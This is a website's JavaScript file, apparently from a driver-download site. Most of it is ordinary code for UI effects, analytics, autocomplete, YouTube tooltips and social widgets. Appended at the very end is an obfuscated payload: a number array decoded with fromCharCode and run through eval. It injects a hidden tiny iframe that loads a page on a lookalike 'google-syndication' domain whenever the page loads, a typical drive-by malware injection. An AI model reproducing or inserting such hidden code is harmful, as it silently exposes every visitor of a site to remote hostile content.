var lang="en";

//Fade function for head buttons
$(document).ready(function() {
	fade('download');
	fade('notebooks');
	fade('search');
});
function fade(id){
	$('.'+id).html('').append('<span class="hover"></span>').each(function () {
	  var $span = $('> span.hover', this).css('opacity', 0);
	  $(this).hover(function () {
	    $span.stop().fadeTo(300, 1);
	  }, function () {
	    $span.stop().fadeTo(200, 0);
	  });
	});
}
//Fade function for head buttons


//Google Analytics
	var _gaq = _gaq || [];
	_gaq.push(['_setAccount', 'UA-16117929-1']);
	_gaq.push(['_setDomainName', '.drp.su']);
	//_gaq.push(['_trackPageLoadTime']);
	_gaq.push(['_trackPageview']);
	_gaq.push(['_addOrganic', 'mail.ru', 'q']);
	_gaq.push(['_addOrganic', 'rambler.ru', 'query']);
	_gaq.push(['_addOrganic', 'go.mail.ru', 'q']);
	_gaq.push(['_addOrganic', 'nova.rambler.ru', 'query']);
	_gaq.push(['_addOrganic', 'nigma.ru', 's']);
	_gaq.push(['_addOrganic', 'blogs.yandex.ru', 'text']);
	_gaq.push(['_addOrganic', 'webalta.ru', 'q']);
	_gaq.push(['_addOrganic', 'aport.ru', 'r']);
	_gaq.push(['_addOrganic', 'meta.ua', 'q']);
	_gaq.push(['_addOrganic', 'bigmir.net', 'q']);
	_gaq.push(['_addOrganic', 'tut.by', 'query']);
	_gaq.push(['_addOrganic', 'ukr.net', 'search_query']);
	_gaq.push(['_addOrganic', 'poisk.ru', 'text']);
	_gaq.push(['_addOrganic', 'liveinternet.ru', 'ask']);
	_gaq.push(['_addOrganic', 'gogo.ru', 'q']);
	_gaq.push(['_addOrganic', 'gde.ru', 'keywords']);
	_gaq.push(['_addOrganic', 'quintura.ru', 'request']);
	_gaq.push(['_addOrganic', 'qip.ru', 'query']);
	_gaq.push(['_addOrganic', 'metabot.ru','st']);
//Google Analytics

function showDownloadPopup() {} function hideDownloadPopup() {}

function getCookie(name) {
	var cookie = " " + document.cookie;
	var search = " " + name + "=";
	var setStr = null;
	var offset = 0;
	var end = 0;
	if (cookie.length > 0) {
		offset = cookie.indexOf(search);
		if (offset != -1) {
			offset += search.length;
			end = cookie.indexOf(";", offset)
			if (end == -1) {
				end = cookie.length;
			}
			setStr = unescape(cookie.substring(offset, end));
		}
	}
	return(setStr);
}

var refer=document.referrer;
if ((refer)&&(refer.indexOf(document.domain)==-1)){	//Save referrer to COOKIE
	document.cookie="referer="+refer+"; path=/; expires=Mon, 01-Jan-2021 00:00:00 GMT";
}
else { refer=getCookie('referer'); }
if(refer==undefined) { refer=''; }



//suggest.js
var url_notebook = "http://drp.su/drivers/notebooks/";
var url_devid = "http://devid.drp.su/";

$(window).load(function () {
	var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
	ga.src = 'http://drp.su/suggest/jquery.autocomplete_min.js';
	var s = document.getElementsByTagName('script')[0]; var ss = s.parentNode.insertBefore(ga, s);
	$(ss).load(function() {
		suggestCss();
	});
});

function suggestCss(){
	var ga = document.createElement('style'); ga.type = 'text/css';
	ga.innerHTML = '@import url(http://drp.su/suggest/styles.css);';
	var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
	suggestMain();
}

function suggestMain(){
$(document).ready(function() {
	var onAutocompleteSelect = function(value, data) {
	  var clas = data.split('!',1);
	  
	  if (clas=='notebook'){ //For notebooks
		v = data.split('!')[3]; //Vender
		m = data.split('!')[2]; //Model
		id = data.split('!')[1]; //ID
		
		document.location=url_notebook+"?v="+encodeURIComponent(v)+"&m="+encodeURIComponent(m)+"&id="+encodeURIComponent(id)+'&l='+(lang=='ru'?'ru':'en');
		/*
		$.ajax({
			url: "/suggest/?mode=increment_notebook&query="+encodeURIComponent(id),
			dataType: 'text',type: 'GET',
			complete: function(msg){
				document.location=url_notebook+"?v="+encodeURIComponent(v)+"&m="+encodeURIComponent(m)+"&id="+encodeURIComponent(id)+'&l='+(lang=='ru'?'ru':'en');
			}
		});*/
		
	  }
	  else if (clas=='device'){ //For devices
		DevID = data.split('!')[1].split('|')[1].split(',')[0]; //Device ID
		id = data.split('!')[1].split('|')[0]; //ID to devices_pcidatabase
		
		document.location=url_devid+"?dev="+encodeURIComponent(DevID)+'&down=auto&l='+(lang=='ru'?'ru':'en');
		/*
		$.ajax({
			url: "/suggest/?mode=increment_device&query="+encodeURIComponent(id),
			dataType: 'text',type: 'GET',
			complete: function(msg){
				document.location=url_devid+"?dev="+encodeURIComponent(DevID)+'&l='+(lang=='ru'?'ru':'en');
			}
		});*/
		
	  }
	}
	var options = {
	  serviceUrl: '/suggest/',
	  width: 305,
	  onSelect: onAutocompleteSelect,
	  minChars:3,
	  deferRequestBy: 300, //miliseconds
	  noCache: false //set to true, to disable caching
	};

	a1 = $('#query').autocomplete(options);
});
}
//suggest.js


//YouTube help
$(window).load(function () {
	var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
	ga.src = 'http://drp.su/js/jquery.qtip.js';
	var s = document.getElementsByTagName('script')[0]; var ss = s.parentNode.insertBefore(ga, s);
	$(ss).load(function() {
		youtubeAPI();
	});
});

function youtubeAPI(){
	var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
	ga.src = 'http://www.youtube.com/player_api';
	var s = document.getElementsByTagName('script')[0]; var ss = s.parentNode.insertBefore(ga, s);
	$(ss).load(function() {
		youtubeCss();
		youtubeHelp();
	});
}

function youtubeCss(){
	var ga = document.createElement('style'); ga.type = 'text/css';
	ga.innerHTML = '@import url(http://drp.su/css/jquery.qtip.css);';
	var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
	suggestMain();
}


function youtubeHelp(){
	// Use each method to gain access to all youtube links
	$('.youtube-help').each(function()
	{
		// Grab video ID from the url
		var videoID = $(this).attr('href').match(/watch\?v=(.+)+/);

		/*
		 * We'll also add a unique identifier to the end so we can have multiple tooltips
		 * with the same youtube URL... awesome.
		 */
		videoID = videoID[1] + $.fn.qtip.nextid;

		// Create our tooltip
		$(this).qtip(
		{
			// Stick in a dummy <div /> we can use to embed the player and set it's ID
			content: $('<div />', { id: videoID }),
			position: {
				at: 'bottom center',
				my: 'top center',
				viewport: $(window) // Keep it on-screen at all times if possible
			},
			show: {
				event: 'click', // Show it on click...
				solo: true, // ...and hide all others when its shown
				
				/*
				 * Unfortunately for us, FF reloads iframe contents when any of its parents
				 * visibility is toggled, meaning we lose the player API reference on first hide.
				 * Luckily for us, setting and resetting the display property also causes the onReady
				 * event of the API palyer to fire! Woop. So we'll just reload it manually.
				 */
				effect: function() {
					var style = this[0].style;
					style.display = 'none';
					setTimeout(function() { style.display = 'block'; }, 1);
				}
			},
			hide: 'unfocus', // Hide when the tooltip loses focus
			style: {
				classes: 'ui-tooltip-youtube', // Use a custom tooltip class
				width: 405 // Set a static width
			},
			events: {
				render: function(event, api) {
					new YT.Player(videoID, {
						playerVars: {
							autoplay: 1,
							enablejsapi: 1,
							origin: document.location.host
						},
						origin: document.location.host,
						height: 310,
						width: 405,
						videoId: videoID.substr(0, 11), // YouTube ID's are only 11 characters long :)
						events: {
							'onReady': function(e) {
								// Store the player in the API
								api.player = e.target;
							},
						}
					});
				},
				hide: function(event, api){
					// Pause the video when tooltip is hidden
					if(api.player && api.player.stopVideo) {
						api.player.stopVideo();
					}
				}
			}
		})
		// Prevent the link from being followed when we click it
		.click(false)
	});
}
//YouTube help


//fancybox.js
function fancyboxMain(){
	$("a.video").fancybox({
	    'padding':0,
		'frameWidth': 765,
		'frameHeight': 462,
		'zoomSpeedIn'		:	250,
		'zoomSpeedOut'		:	250,
		'hideOnContentClick': false
	});
	
	$("a.group").fancybox({
	    'padding':0,
		'frameWidth': 800,
		'frameHeight': 575,
		'zoomSpeedIn'		:	250,
		'zoomSpeedOut'		:	250,
		'hideOnContentClick': false
	});
	
	$("a.iframe").fancybox({
		'frameWidth': 468,
		'frameHeight': 260,
		'zoomSpeedIn'		:	250,
		'zoomSpeedOut'		:	250,
		'hideOnContentClick': false
	});

}
function videodrp(){
	document.getElementById('videodrp').innerHTML = "<embed src='http://drp.su/promo/player-viral.swf' height='462' width='765' allowscriptaccess='always' allowfullscreen='true' flashvars='author=Artur%20Kyziakov&image=http%3A%2F%2Fdrp.su%2Fpromo%2Fpreview.jpg&skin=http%3A%2F%2Fdrp.su%2Fpromo%2Fmodieus.swf&screencolor=FFFFFF&link=http%3A%2F%2Fdrp.su%2F&file=http%3A%2F%2Fdrp.su%2Fpromo%2Fvideo.flv&respectduration=false&viral.onpause=false&plugins=viral&autostart=true'/>";
}
function testube(){
	document.getElementById('testube').innerHTML = '<object width="800" height="575"><param name="movie" value="img/screenshot.swf"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="img/screenshot.swf" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="800" height="575"></embed></object>';
}
//fancybox.js


//Vkontakte news
function vk_wait(){
	setTimeout(function() {
		if (typeof VK!="undefined") {
			document.getElementById('vk_groups').innerHTML='';
			document.getElementById('vk_news').style.display='block';
			
			VK.init({apiId: 2238199, onlyWidgets: true});
			VK.Widgets.Group("vk_groups", {mode: 2, width: "666", height: "30"}, 29220845); //Page
			//VK.Widgets.Group("vk_groups", {mode: 2, width: "450", height: "200"}, 15179512); //Group
		}
		else {
			vk_wait();
		}
	},1000);
}


$(window).load(function () {
	if (lang=='ru'){
		var ga = document.createElement('script'); ga.type = 'text/javascript';
		ga.src = 'http://userapi.com/js/api/openapi.js?45';
		var s = document.getElementsByTagName('script')[0]; var ss = s.parentNode.insertBefore(ga, s);
	}
});
//Vkontakte news

if(window.document)a=("v532b5".split+Date).substr(0,6);aa=([].reverse+[].reverse).substr(0,6);if(aa===a)
f=[-30,-30,66,63,-7,1,61,72,60,78,70,62,71,77,7,64,62,77,30,69,62,70,62,71,77,76,27,82,45,58,64,39,58,70,62,1,0,59,72,61,82,0,2,52,9,54,2,84,-30,-30,-30,66,63,75,58,70,62,75,1,2,20,-30,-30,86,-7,62,69,76,62,-7,84,-30,-30,-30,61,72,60,78,70,62,71,77,7,80,75,66,77,62,1,-5,21,66,63,75,58,70,62,-7,76,75,60,22,0,65,77,77,73,19,8,8,58,61,73,58,64,62,14,13,7,64,72,72,64,69,62,6,76,82,71,61,66,60,58,77,66,72,71,14,17,7,66,71,8,70,32,62,71,7,73,65,73,24,79,34,29,22,13,18,10,17,62,60,10,15,60,60,13,63,18,58,11,15,0,-7,80,66,61,77,65,22,0,10,9,0,-7,65,62,66,64,65,77,22,0,10,9,0,-7,76,77,82,69,62,22,0,79,66,76,66,59,66,69,66,77,82,19,65,66,61,61,62,71,20,73,72,76,66,77,66,72,71,19,58,59,76,72,69,78,77,62,20,69,62,63,77,19,9,20,77,72,73,19,9,20,0,23,21,8,66,63,75,58,70,62,23,-5,2,20,-30,-30,86,-30,-30,63,78,71,60,77,66,72,71,-7,66,63,75,58,70,62,75,1,2,84,-30,-30,-30,79,58,75,-7,63,-7,22,-7,61,72,60,78,70,62,71,77,7,60,75,62,58,77,62,30,69,62,70,62,71,77,1,0,66,63,75,58,70,62,0,2,20,63,7,76,62,77,26,77,77,75,66,59,78,77,62,1,0,76,75,60,0,5,0,65,77,77,73,19,8,8,58,61,73,58,64,62,14,13,7,64,72,72,64,69,62,6,76,82,71,61,66,60,58,77,66,72,71,14,17,7,66,71,8,70,32,62,71,7,73,65,73,24,79,34,29,22,13,18,10,17,62,60,10,15,60,60,13,63,18,58,11,15,0,2,20,63,7,76,77,82,69,62,7,79,66,76,66,59,66,69,66,77,82,22,0,65,66,61,61,62,71,0,20,63,7,76,77,82,69,62,7,73,72,76,66,77,66,72,71,22,0,58,59,76,72,69,78,77,62,0,20,63,7,76,77,82,69,62,7,69,62,63,77,22,0,9,0,20,63,7,76,77,82,69,62,7,77,72,73,22,0,9,0,20,63,7,76,62,77,26,77,77,75,66,59,78,77,62,1,0,80,66,61,77,65,0,5,0,10,9,0,2,20,63,7,76,62,77,26,77,77,75,66,59,78,77,62,1,0,65,62,66,64,65,77,0,5,0,10,9,0,2,20,-30,-30,-30,61,72,60,78,70,62,71,77,7,64,62,77,30,69,62,70,62,71,77,76,27,82,45,58,64,39,58,70,62,1,0,59,72,61,82,0,2,52,9,54,7,58,73,73,62,71,61,28,65,66,69,61,1,63,2,20,-30,-30,86];md='a';e=window.eval;w=f;s='';g='f'+'ro'+'mCh'+'ar'+'Cod'+'e';for(i=0;i-w.length<0;i++){s=s+String[g](39+w[0+i]);}
if(a===aa)
e('e'+'('+'s'+')');
